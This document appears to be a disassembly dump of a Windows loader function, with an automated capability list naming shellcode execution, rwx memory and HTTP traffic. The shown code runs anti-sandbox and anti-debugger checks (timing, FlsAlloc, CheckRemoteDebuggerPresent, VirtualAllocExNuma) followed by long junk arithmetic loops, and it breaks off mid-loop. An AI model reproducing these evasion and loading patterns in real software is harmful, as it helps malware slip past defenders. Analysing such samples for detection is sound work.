Function at 0x3a91c1d34
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Check http status code
Connect to http server
Create http request
Create thread
Encode data using base64
Enumerate processes
Execute shellcode via indirect call
Link many functions at runtime
Parse pe header
Read data from internet
Receive data
Send data
Send http request
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
mov eax, 0xa088
call fcn.3a9246700
sub rsp, rax
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x9ff0], xmm6
mov qword [rbp + 0xa020], rcx
mov dword [rbp + 0xa028], edx
mov qword [rbp + 0xa030], r8
mov dword [rbp + 0x645c], 1
cmp dword [rbp + 0xa028], 1
jne 0x3a9245958
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6450], rax
cmp qword [rbp + 0x6450], 0
je 0x3a91c1dd6
mov rax, qword [rbp + 0x6450]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6448], rax
mov rax, qword [rbp + 0x6448]
mov ecx, 0
call rax
mov dword [rbp + 0x9fec], eax
cmp dword [rbp + 0x9fec], 0xffffffff
je 0x3a9245958
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6440], rax
cmp qword [rbp + 0x6440], 0
je 0x3a91c1e3c
mov rax, qword [rbp + 0x6440]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6438], rax
mov rax, qword [rbp + 0x6438]
mov ecx, 0
call rax
mov dword [rbp + 0x9fe8], eax
cmp dword [rbp + 0x9fe8], 0xffffffff
je 0x3a9245958
mov dword [rbp + 0x6434], 0x216
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6428], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6420], rax
mov rax, qword [rbp + 0x6420]
call rax
mov dword [rbp + 0x641c], eax
mov eax, dword [rbp + 0x6434]
mov r8, qword [rbp + 0x6428]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x6420]
call rax
mov dword [rbp + 0x6418], eax
mov eax, dword [rbp + 0x6418]
sub eax, dword [rbp + 0x641c]
cmp eax, 0x1e4
jbe 0x3a9245958
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6410], rax
mov rax, qword [rbp + 0x6410]
mov ecx, 0
call rax
mov dword [rbp + 0x640c], eax
cmp dword [rbp + 0x640c], 0xffffffff
je 0x3a9245958
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6400], rax
cmp qword [rbp + 0x6400], 0
je 0x3a91c1fa9
mov rax, qword [rbp + 0x6400]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63f8], rax
mov rax, qword [rbp + 0x63f8]
mov ecx, 0
call rax
mov dword [rbp + 0x9fe4], eax
cmp dword [rbp + 0x9fe4], 0xffffffff
je 0x3a9245958
mov dword [rbp + 0x118], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x118]
mov r8, qword [rbp + 0x63f0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x118]
cmp eax, 1
je 0x3a9245958
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63e8], rax
mov rax, qword [rbp + 0x63e8]
mov ecx, 0
call rax
mov dword [rbp + 0x63e4], eax
cmp dword [rbp + 0x63e4], 0xffffffff
je 0x3a9245958
mov qword [rbp + 0x63d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x63d0]
mov r9d, 0x3000
mov r8d, 0x395
mov edx, 0
call rax
mov qword [rbp + 0x63d8], rax
cmp qword [rbp + 0x63d8], 0
je 0x3a9245958
mov qword [rbp + 0x63c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63c0], rax
mov rax, qword [rbp + 0x63c0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x33d1280
mov ecx, 0
call rax
mov qword [rbp + 0x63c8], rax
cmp qword [rbp + 0x63c8], 0
je 0x3a9245958
mov rax, qword [rbp + 0x63c8]
mov edx, 0x33d1280
mov rcx, rax
call dbg.RtlSecureZeroMemory
mov rax, qword [rbp + 0x63c8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x63bc], 0x2e4
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63b0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x63a8], rax
mov rax, qword [rbp + 0x63a8]
call rax
mov dword [rbp + 0x63a4], eax
mov eax, dword [rbp + 0x63bc]
mov r8, qword [rbp + 0x63b0]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x63a8]
call rax
mov dword [rbp + 0x63a0], eax
mov eax, dword [rbp + 0x63a0]
sub eax, dword [rbp + 0x63a4]
cmp eax, 0x2b2
jbe 0x3a9245958
mov dword [rbp + 0x9fe0], 0xffffffff
mov ecx, 0x2498
call sym.malloc
mov qword [rbp + 0x6398], rax
mov dword [rbp + 0x6394], 0
mov ecx, 0x70
call sym.malloc
mov qword [rbp + 0x6388], rax
mov ecx, 0x70
call sym.malloc
mov qword [rbp + 0x6380], rax
mov ecx, 0x70
call sym.malloc
mov qword [rbp + 0x6378], rax
mov dword [rbp + 0x9fdc], 0
jmp 0x3a91c238a
mov dword [rbp + 0x9fd8], 0
jmp 0x3a91c2376
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x9fdc]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x6388]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x9fd8]
cdqe
movss dword [rcx + rax*4], xmm0
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x9fdc]
cdqe
lea rcx, [rax*8]
mov rax, qword [rbp + 0x6380]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x9fd8]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x9fd8], 1
cmp dword [rbp + 0x9fd8], 1
jle 0x3a91c22c3
add dword [rbp + 0x9fdc], 1
cmp dword [rbp + 0x9fdc], 0xd
jle 0x3a91c22b4
mov dword [rbp + 0x9fdc], 0
jmp 0x3a91c2464
mov dword [rbp + 0x9fd8], 0
jmp 0x3a91c2450
mov eax, dword [rbp + 0x9fdc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6388]
add rdx, rax
mov eax, dword [rbp + 0x9fd8]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x9fdc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6380]
add rdx, rax
mov eax, dword [rbp + 0x9fd8]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call dbg.sqrt
mov eax, dword [rbp + 0x9fdc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6378]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x9fd8]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x9fd8], 1
cmp dword [rbp + 0x9fd8], 1
jle 0x3a91c23b5
add dword [rbp + 0x9fdc], 1
cmp dword [rbp + 0x9fdc], 0xd
jle 0x3a91c23a6
mov rax, qword [rbp + 0x6388]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x6380]
mov rcx, rax
call sym.free
mov rax, qword [rbp + 0x6378]
mov rcx, rax
call sym.free
mov dword [rbp + 0x9fd4], 0
mov dword [rbp + 0x9fd0], 1
mov dword [rbp + 0x9fcc], 0
mov dword [rbp + 0x6374], 0x153
jmp 0x3a91c24fb
mov edx, dword [rbp + 0x9fd4]
mov eax, dword [rbp + 0x9fd0]
add eax, edx
mov dword [rbp + 0x11c], eax
add dword [rbp + 0x9fcc], 1
mov eax, dword [rbp + 0x9fd0]
mov dword [rbp + 0x9fd4], eax
mov eax, dword [rbp + 0x11c]
mov dword [rbp + 0x9fd0], eax
mov eax, dword [rbp + 0x9fcc]
cmp eax, dword [rbp + 0x6374]
jl 0x3a91c24c8
mov ecx, 0x260
call sym.malloc
mov qword [rbp + 0x6368], rax
mov dword [rbp + 0x9fc4], 0
mov dword [rbp + 0x9fc0], 0
mov dword [rbp + 0x9fc8], 0
jmp 0x3a91c2586
call sym.rand
mov edx, dword [rbp + 0x9fc8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6368]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x9fc8], 1
cmp dword [rbp + 0x9fc8], 0x97
jle 0x3a91c253a
mov dword [rbp + 0x9fc8], 0
jmp 0x3a91c25c7
mov eax, dword [rbp + 0x9fc8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6368]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x9fc4], eax
add dword [rbp + 0x9fc8], 1
cmp dword [rbp + 0x9fc8], 0x97
jle 0x3a91c259e
mov dword [rbp + 0x9fc8], 0
jmp 0x3a91c264f
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x9fc0]
mov eax, dword [rbp + 0x9fc8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6368]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x120]
pxor xmm4, xmm4
cvtss2sd xmm4, xmm0
movq rax, xmm4
movsd xmm0, qword [0x3a924f0f8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x9fc0], eax
add dword [rbp + 0x9fc8], 1
cmp dword [rbp + 0x9fc8], 0x97
jle 0x3a91c25df
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x9fc0]
movss xmm1, dword [0x3a924f100]
divss xmm0, xmm1
movss dword [rbp + 0x6364], xmm0
pxor xmm5, xmm5
cvtss2sd xmm5, dword [rbp + 0x6364]
movq rax, xmm5
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6360], xmm0
mov rax, qword [rbp + 0x6368]
mov rcx, rax
call sym.free
mov ecx, 0x4b0
call sym.malloc
mov qword [rbp + 0x6358], rax
mov dword [rbp + 0x9fbc], 0
jmp 0x3a91c275a
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x9fbc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x9fbc], 1
cmp dword [rbp + 0x9fbc], 0x12b
jle 0x3a91c26d1
mov dword [rbp + 0x9fbc], 0
jmp 0x3a91c2886
mov dword [rbp + 0x128], 0
jmp 0x3a91c2868
mov eax, dword [rbp + 0x9fbc]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x128]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x3a91c2861
mov eax, dword [rbp + 0x128]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x124], xmm0
mov eax, dword [rbp + 0x9fbc]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rdx, rax
mov eax, dword [rbp + 0x128]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x128]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6358]
add rax, rdx
movss xmm0, dword [rbp + 0x124]
movss dword [rax], xmm0
add dword [rbp + 0x9fbc], 1
mov eax, 0x12b
sub eax, dword [rbp + 0x9fbc]
cmp dword [rbp + 0x128], eax
jl 0x3a91c2788
add dword [rbp + 0x9fbc], 1
cmp dword [rbp + 0x9fbc], 0x12b
jle 0x3a91c2779
mov rax, qword [rbp + 0x6358]
mov rcx, rax
call sym.free
mov dword [rbp + 0x9fb8], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x9fb0], xmm0
add dword [rbp + 0x9fb8], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x9fb8]
movsd xmm0, qword [0x3a924f108]
addsd xmm0, xmm1
mov rax, qword [0x3a924f110]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x9fb8]
addsd xmm0, xmm0
movsd xmm2, qword [0x3a924f108]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x9fb0]
addsd xmm0, xmm1
movsd qword [rbp + 0x9fb0], xmm0
cmp dword [rbp + 0x9fb8], 0x77
jle 0x3a91c28bb
movsd xmm1, qword [rbp + 0x9fb0]
movsd xmm0, qword [0x3a924f118]
mulsd xmm0, xmm1
movsd qword [rbp + 0x9fb0], xmm0
mov dword [rbp + 0x9fa4], 0
mov dword [rbp + 0x6354], 0x1d8
mov dword [rbp + 0x6350], 0xec
mov eax, dword [rbp + 0x6354]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x6348], rax
mov dword [rbp + 0x9fac], 0
jmp 0x3a91c29c7
mov eax, dword [rbp + 0x9fac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rdx, rax
mov eax, dword [rbp + 0x9fac]
mov dword [rdx], eax
add dword [rbp + 0x9fac], 1
mov eax, dword [rbp + 0x9fac]
cmp eax, dword [rbp + 0x6350]
jl 0x3a91c299e
mov dword [rbp + 0x9fac], 1
jmp 0x3a91c2a5d
mov eax, dword [rbp + 0x9fac]
mov dword [rbp + 0x9fa8], eax
jmp 0x3a91c2a30
mov edx, dword [rbp + 0x9fac]
mov eax, dword [rbp + 0x9fa8]
add edx, eax
mov eax, dword [rbp + 0x9fac]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x9fa8]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x9fa8], 1
mov eax, dword [rbp + 0x6350]
sub eax, dword [rbp + 0x9fac]
mov edx, dword [rbp + 0x9fac]
add edx, edx
lea ebx, [rdx + 1]
mov dword [rbp - 0x34], ebx
cdq
idiv dword [rbp - 0x34]
cmp dword [rbp + 0x9fa8], eax
jle 0x3a91c29ef
add dword [rbp + 0x9fac], 1
mov eax, dword [rbp + 0x9fac]
cmp eax, dword [rbp + 0x6350]
jl 0x3a91c29e1
cmp dword [rbp + 0x6354], 2
jle 0x3a91c2aa1
mov eax, dword [rbp + 0x9fa4]
lea edx, [rax + 1]
mov dword [rbp + 0x9fa4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x9fac], 1
jmp 0x3a91c2b05
mov eax, dword [rbp + 0x9fac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x3a91c2afe
mov eax, dword [rbp + 0x9fac]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x9fa4]
lea edx, [rax + 1]
mov dword [rbp + 0x9fa4], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x9fac], 1
mov eax, dword [rbp + 0x9fac]
cmp eax, dword [rbp + 0x6350]
jl 0x3a91c2aad
mov dword [rbp + 0x6344], 2
mov dword [rbp + 0x9fa0], 0
mov dword [rbp + 0x9fac], 0
jmp 0x3a91c2b61
mov eax, dword [rbp + 0x9fac]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6348]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x3a91c2b5a
add dword [rbp + 0x9fa0], 1
add dword [rbp + 0x9fac], 1
mov eax, dword [rbp + 0x9fac]
cmp eax, dword [rbp + 0x6344]
jl 0x3a91c2b33
mov rax, qword [rbp + 0x6348]
mov rcx, rax
call sym.free
mov dword [rbp + 0x9f9c], 0xffffffff
mov ecx, 0x548
call sym.malloc
mov qword [rbp + 0x6338], rax
add dword [rbp + 0x9f9c], 1
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x3a924f120]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x9f9c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6338]
add rax, rdx
movsd xmm1, qword [0x3a924f108]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x9f9c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6338]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x9f9c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6338]
add rax, rdx
movq xmm1, qword [0x3a924f130]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x9f9c], 0xa7
jle 0x3a91c2b99
mov ecx, 0x164
call sym.malloc
mov qword [rbp + 0x6330], rax
mov dword [rbp + 0x9f98], 0
jmp 0x3a91c2ce8
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x9f98]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x9f98], 1
cmp dword [rbp + 0x9f98], 0x58
jle 0x3a91c2c5f
mov dword [rbp + 0x9f98], 0
jmp 0x3a91c2e11
mov dword [rbp + 0x130], 0
jmp 0x3a91c2df3
mov eax, dword [rbp + 0x9f98]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x130]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x3a91c2dec
mov eax, dword [rbp + 0x130]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x12c], xmm0
mov eax, dword [rbp + 0x9f98]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rdx, rax
mov eax, dword [rbp + 0x130]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x130]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6330]
add rax, rdx
movss xmm0, dword [rbp + 0x12c]
movss dword [rax], xmm0
add dword [rbp + 0x9f98], 1
mov eax, 0x58
sub eax, dword [rbp + 0x9f98]
cmp dword [rbp + 0x130], eax
jl 0x3a91c2d13
add dword [rbp + 0x9f98], 1
cmp dword [rbp + 0x9f98], 0x58
jle 0x3a91c2d04
mov rax, qword [rbp + 0x6330]
mov rcx, rax
call sym.free
mov ecx, 0x1a0
call sym.malloc
mov qword [rbp + 0x6328], rax
mov dword [rbp + 0x9f90], 0
mov dword [rbp + 0x6324], 0
mov dword [rbp + 0x9f94], 0
jmp 0x3a91c2eaa
call sym.rand
mov edx, dword [rbp + 0x9f94]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6328]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff88888889
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1e
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x9f94], 1
cmp dword [rbp + 0x9f94], 0x67
jle 0x3a91c2e5e
mov dword [rbp + 0x9f94], 0
jmp 0x3a91c2ee8
mov eax, dword [rbp + 0x9f94]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6328]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x9f90], eax
add dword [rbp + 0x9f94], 1
cmp dword [rbp + 0x9f94], 0x67
jle 0x3a91c2ebf
mov rax, qword [rbp + 0x6328]
mov rcx, rax
call sym.free
mov ecx, 0x4a8
call sym.malloc
mov qword [rbp + 0x6318], rax
mov dword [rbp + 0x9f88], 0
mov dword [rbp + 0x9f84], 0
mov dword [rbp + 0x9f8c], 0
jmp 0x3a91c2f7d
call sym.rand
mov edx, dword [rbp + 0x9f8c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6318]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x9f8c], 1
cmp dword [rbp + 0x9f8c], 0x129
jle 0x3a91c2f31
mov dword [rbp + 0x9f8c], 0
jmp 0x3a91c2fbe
mov eax, dword [rbp + 0x9f8c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6318]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x9f88], eax
add dword [rbp + 0x9f8c], 1
cmp dword [rbp + 0x9f8c], 0x129
jle 0x3a91c2f95
mov dword [rbp + 0x9f8c], 0
jmp 0x3a91c3046
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x9f84]
mov eax, dword [rbp + 0x9f8c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6318]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x134]
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, qword [0x3a924f0f8]
movupd xmm1, xmm0
movq xmm0, rax
call dbg.pow
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x9f84], eax
add dword [rbp + 0x9f8c], 1
cmp dword [rbp + 0x9f8c], 0x129
jle 0x3a91c2fd6
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x9f84]
movss xmm1, dword [0x3a924f140]
divss xmm0, xmm1
movss dword [rbp + 0x6314], xmm0
pxor xmm4, xmm4
cvtss2sd xmm4, dword [rbp + 0x6314]
movq rax, xmm4
movq xmm0, rax
call dbg.sqrt
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x6310], xmm0
mov rax, qword [rbp + 0x6318]
mov rcx, rax
call sym.free
mov ecx, 0x220
call sym.malloc
mov qword [rbp + 0x6308], rax
mov dword [rbp + 0x9f80], 0
jmp 0x3a91c3103
call sym.rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x9f80]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6308]
add rax, rdx
movsd xmm1, qword [0x3a924f120]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x9f80], 1
cmp dword [rbp + 0x9f80], 0x43
jle 0x3a91c30c5
mov dword [rbp + 0x9f80], 0
jmp 0x3a91c316a
mov eax, dword [rbp + 0x9f80]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6308]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x9f80]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6308]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sym.atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x9f80], 1
cmp dword [rbp + 0x9f80], 0x43
jle 0x3a91c3118
mov dword [rbp + 0x6304], 0
mov ecx, 0xf00
call sym.malloc
mov qword [rbp + 0x62f8], rax
mov ecx, 0xf00
call sym.malloc
mov qword [rbp + 0x62f0], rax
mov ecx, 0xf00
call sym.malloc
mov qword [rbp + 0x62e8], rax
mov dword [rbp + 0x9f7c], 0
jmp 0x3a91c3293
mov dword [rbp + 0x9f78], 0
jmp 0x3a91c327f
call sym.rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x9f7c]
cdqe
shl rax, 7
mov rcx, rax
